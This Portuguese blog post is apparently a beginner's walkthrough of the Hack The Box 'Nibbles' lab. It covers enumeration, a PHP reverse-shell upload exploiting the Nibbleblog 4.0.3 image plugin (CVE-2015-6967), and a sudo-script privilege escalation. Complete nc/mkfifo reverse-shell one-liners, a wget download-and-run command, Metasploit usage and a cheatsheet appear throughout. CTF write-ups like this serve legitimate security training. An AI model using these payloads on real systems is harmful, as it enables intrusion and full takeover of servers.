Saltar para o conteúdo

HTB - Nibbles

7 de julho de 2026

Nibbles é minha primeira box no Hack The Box e também minha primeira vez estudando pentesting de verdade. A plataforma classifica ela como fácil, mas rootá-la foi muito difícil pra mim. Quem avaliou isso como “fácil” só pode ter nascido sabendo.

Algumas das coisas que vi nesse CTF:

  • Metasploit
  • Privesc
  • Shell reverso
  • Whatweb
  • Gobuster
  • NetCat

📋 Descrição da máquina

Nibbles is a fairly simple machine, however with the inclusion of a login blacklist, it is a fair bit more challenging to find valid credentials. Luckily, a username can be enumerated and guessing the correct password does not take long for most.

🔍 Enumeração

Aprendi vários comandos de enumeração mas até agora o mais útil foi o nmap ( Network Mapper )

nmap $IP

Esse comando mapeia as 1000 portas mais comuns em aplicações e retorna as que estão abertas, existem várias opções no nmap mas não precisei passar nenhuma nesse caso, o retorno foi esse:

Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-30 07:26 -0400
Nmap scan report for 10.129.48.7
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds

2 portas estão abertas, 22 do ssh e 80 do http, não necessariamente são esses os serviços que estão usando as respectivas portas, o nmap só colocou o que é mais comum de estar usando a porta.

se eu tentar entrar no ssh, pede senha e o ssh tem algumas tratativas contra brute force, não compensa por enquanto.

ssh $IP
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
kali@10.129.49.66's password:

Já a porta 80 normalmente é a porta de um servidor http, colocar http://<ip> no navegador valida essa ideia, fiz isso e tive o seguinte resultado, uma página html com “Hello World” escrito:

inspecionando o código-fonte, um comentário falando do path /nibbleblog/

<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->

meio óbvio que eu precisava explorar esse path, nele encontrei um blog meio feio, meio vazio parecendo o meu agora, nada de interessante.

dá pra saber que é feito usando Nibbleblog, está escrito, mas como sou hacker e estou no Kali Linux, vamos usar o whatweb, nele também dá pra ver que o site é feito com Nibbleblog

$ whatweb http://$IP/nibbleblog

http://10.129.49.66/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.49.66], RedirectLocation[http://10.129.49.66/nibbleblog/], Title[301 Moved Permanently]
http://10.129.49.66/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.49.66], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]

pesquisei no Google por “nibbleblog exploit”, entrei em alguns CVEs e páginas e cheguei nessa página da seclists que explica uma vulnerabilidade que permite executar código arbitrário no nibbleblog

When uploading image files via the “My image” plugin - which is delivered with NibbleBlog by default - , NibbleBlog 4.0.3 keeps the original extension of uploaded files. This extension or the actual file type are not checked, thus it is possible to upload PHP files and gain code execution. Please note that admin credentials are required.

Inclusive tem uma PoC e um código pra abrir um shell com php nesse site que vou usar mais tarde.

Percebi já na PoC da seclist que vou precisar das credenciais de admin pra usar o plugin de upload e subir o shell reverso em php.

🔑 Caçando as credenciais de admin

Eu poderia subir uma instância Nibbleblog local na minha máquina já que o código é open source e investigar um pouco sendo admin, mas podemos também usar o gobuster pra tentar achar algumas rotas mais comuns em aplicações web

$ gobuster dir -u http://$IP/nibbleblog/ -w ~/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.49.66/nibbleblog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kali/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htpasswd            (Status: 403) [Size: 307]
.htaccess            (Status: 403) [Size: 307]
.hta                 (Status: 403) [Size: 302]
README               (Status: 200) [Size: 4628]
admin                (Status: 301) [Size: 323] [--> http://10.129.49.66/nibbleblog/admin/]                                
admin.php            (Status: 200) [Size: 1401]
content              (Status: 301) [Size: 325] [--> http://10.129.49.66/nibbleblog/content/]                              
index.php            (Status: 200) [Size: 2987]
languages            (Status: 301) [Size: 327] [--> http://10.129.49.66/nibbleblog/languages/]                            
plugins              (Status: 301) [Size: 325] [--> http://10.129.49.66/nibbleblog/plugins/]                              
themes               (Status: 301) [Size: 324] [--> http://10.129.49.66/nibbleblog/themes/]                               
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================

Encontrei algumas rotas importantes, uma das rotas era a porta de entrada da área admin: /nibbleblog/admin.php

outra das rotas me revelou que admin é um usuário válido /nibbleblog/content/private/users.xml

<users>
  <user username="admin">
    <id type="integer">0</id>
    <session_fail_count type="integer">0</session_fail_count>
    <session_date type="integer">1520559147</session_date>
  </user>
  <blacklist type="string" ip="10.10.10.1">
    <date type="integer">1512964659</date>
    <fail_count type="integer">1</fail_count>
  </blacklist>
  <blacklist type="string" ip="10.10.14.80">
    <date type="integer">1520559030</date>
    <fail_count type="integer">4</fail_count>
  </blacklist>
</users>

nesse momento eu ainda não sabia a senha, Brute force não funcionou, depois de algumas tentativas o sistema me bloqueou e só depois de um tempo desbloqueou, em nenhum lugar tem nem menção de senha, felizmente depois de algumas tentativas e pesquisa nos arquivos a senha nibbles funcionou, estou dentro!

💥 Exploit: shell reverso via upload

Sabemos que existe uma vulnerabilidade no nibbleblog v4.0.3 documentada no CVE-2015-6967, com um pouco de pesquisa dentro da área admin conseguimos confirmar a versão que estamos atacando.

no seclist tem um guia detalhado de como a vulnerabilidade funciona: https://seclists.org/fulldisclosure/2015/Sep/5

podemos subir um shell reverso em php no plugin My Image que vem instalado por padrão nessa versão do nibbleblog

uma cheatsheet de shell reverso em php: https://highon.coffee/blog/reverse-shell-cheat-sheet/#php-reverse-shell

primeiro criei o shell reverso apontando para o meu IP e para a porta 9443

echo "<?php system (\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING_IP> 9443 >/tmp/f\"); ?>" >> shell.php

depois de fazer upload desse arquivo shell.php precisei escutar a porta 9443 na nossa máquina com netcat

nc -lvnp 9443

e agora pra abrir o shell reverso só precisei acessar esse arquivo http://<IP>/nibbleblog/content/private/plugins/my_image/image.php

o resultado foi esse:

nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.15.197] from (UNKNOWN) [10.129.54.227] 50788
/bin/sh: 0: can't access tty; job control turned off
$

consegui um shell reverso!

🐚 Estabilizando o shell (TTY)

pra ser sincero, esse shell que conseguimos é uma bosta: não tem histórico nem autocompletar com tab ( inclusive estou fazendo um shell em Rust, vou linkar ele aqui depois ). O motivo é que ele não está ligado a um terminal de verdade (TTY).

por sorte tinha python3 nessa máquina

$ type python3
python3 is /usr/bin/python3

o python cria um pseudo-terminal (PTY) e roda o bash dentro dele, o que dá ao shell um TTY de verdade. Sem isso, programas como o sudo (que precisei no privesc) dão erro.

python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$

🚩 Primeira flag (user)

consegui a primeira flag!

$ cd ~             
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79******************************

⬆️ Escalada de privilégios (privesc)

Pra segunda flag precisei de acesso root

nibbler@Nibbles:/home/nibbler$ id
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
nibbler@Nibbles:/home/nibbler$ ls /root
ls /root
ls: cannot open directory '/root': Permission denied

na pasta do usuário nibbler tinha um arquivo chamado personal.zip

nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt

usando unzip encontrei um script shell e o usuário nibbler tinha permissão pra escrever nele

nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
nibbler@Nibbles:/home/nibbler$ ls -l personal/stuff/monitor.sh
ls -l personal/stuff/monitor.sh
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$

pra fazer mais algumas verificações dessa vez usei o script LinEnum, que verifica algumas coisas de privesc

precisei baixar o script do LinEnum na máquina atacada, fiz isso abrindo um servidor http na minha máquina com python e acessando pela máquina atacada

na minha máquina:

sudo python3 -m http.server 8080

na máquina atacada:

nibbler@Nibbles:/home/nibbler$ wget http://10.10.15.197:8080/LinEnum.sh
wget http://10.10.15.197:8080/LinEnum.sh
--2026-07-06 08:19:37--  http://10.10.15.197:8080/LinEnum.sh
Connecting to 10.10.15.197:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [application/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh            0%[                    ]       0  --.-KB/s       LinEnum.sh           95%[==================> ]  43.51K   154KB/s       LinEnum.sh          100%[===================>]  45.54K   160KB/s    in 0.3s    

2026-07-06 08:19:38 (160 KB/s) - 'LinEnum.sh' saved [46631/46631]

nibbler@Nibbles:/home/nibbler$ chmod +x LinEnum.sh
chmod +x LinEnum.sh

em uma parte do report do LinEnum dizia que era possível executar o monitor.sh como root sem precisar passar senha, e como nosso usuário nibbler consegue editar o arquivo, podemos adicionar mais um shell reverso e ter acesso root!

nibbler@Nibbles:/home/nibbler$ ./LinEnum.sh
./LinEnum.sh

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982

...

[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

usei o tee -a para adicionar o shell reverso no final do arquivo e não causar a perda de privilégios do arquivo

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.197 8443 >/tmp/f' | tee -a monitor.sh

agora na minha máquina:

nc -lvnp 8443

e na máquina atacada:

sudo /home/nibbler/personal/stuff/monitor.sh

consegui acesso root!

👑 Segunda flag (root)

só faltava pegar a última flag:

cd /root
ls
root.txt
cat root.txt
de**************************

🤖 Caminho fácil: Metasploit

fica bem mais simples usando o Metasploit

primeiro pesquisei a vulnerabilidade com search nibbleblog

msfconsole

msf > search nibbleblog

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability                      


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload

tem exatamente a vulnerabilidade que já explorei, usei ela e aproveitei pra setar o host atacado e da máquina atacante ( meu host ), respectivamente rhosts e lhost

msf > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.129.54.227
rhosts => 10.129.54.227
msf exploit(multi/http/nibbleblog_file_upload) > set lhost 10.10.15.197
lhost => 10.10.15.197

show_options pra saber o que mais falta setar

msf exploit(multi/http/nibbleblog_file_upload) > show options

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate
                                          with
   Proxies                     no        A proxy chain of format type
                                         :host:port[,type:host:port][
                                         ...]. Supported proxies: soc
                                         ks5, http, socks5h, sapni, s
                                         ocks4
   RHOSTS     10.129.54.227    yes       The target host(s), see http
                                         s://docs.metasploit.com/docs
                                         /using-metasploit/basics/usi
                                         ng-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoi
                                         ng connections
   TARGETURI  /                yes       The base path to the web app
                                         lication
   USERNAME                    yes       The username to authenticate
                                          with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.15.197     yes       The listen address (an interface
                                      may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3



View the full module info with the info, or info -d command.

precisei setar o targeturi, password e username

msf exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblog

setei tb o payload pra generic/shell_reverse_tcp

msf exploit(multi/http/nibbleblog_file_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp

rodei exploit e consegui acesso ao shell da máquina nibble

msf exploit(multi/http/nibbleblog_file_upload) > exploit 

[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 4 opened (10.10.14.2:4444 -> 10.129.42.190:53642) at 2021-04-21 16:32:37 +0000
[+] Deleted image.php

id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

📝 Cheatsheet

Referência rápida de alguns comandos usados nessa box que quero salvar.

Enumeração

IP=10.129.49.66                                              # guardar o alvo numa variável
nmap $IP                                                     # portas mais comuns (22 ssh, 80 http)
nmap -sC -sV -p22,80 $IP                                     # scripts padrão + versões dos serviços
whatweb http://$IP/nibbleblog                                # fingerprint do CMS (Nibbleblog)
gobuster dir -u http://$IP/nibbleblog/ \
  -w ~/SecLists/Discovery/Web-Content/common.txt             # descobrir rotas (admin.php, content/...)
curl http://$IP/nibbleblog/content/private/users.xml         # revela que "admin" é usuário válido

Estabilizar o shell (TTY)

python3 -c 'import pty; pty.spawn("/bin/bash")'
# extra: Ctrl+Z  →  stty raw -echo; fg  →  export TERM=xterm

Privesc, sudo em script editável

# injeta o payload SEM apagar o arquivo (>> / tee -a preserva permissões)
echo 'adicionando no final do arquivo' | tee -a monitor.sh

Transferir arquivos (ex: LinEnum)

# atacante:
python3 -m http.server 8080
# alvo:
wget http://<ATTACKING_IP>:8080/LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh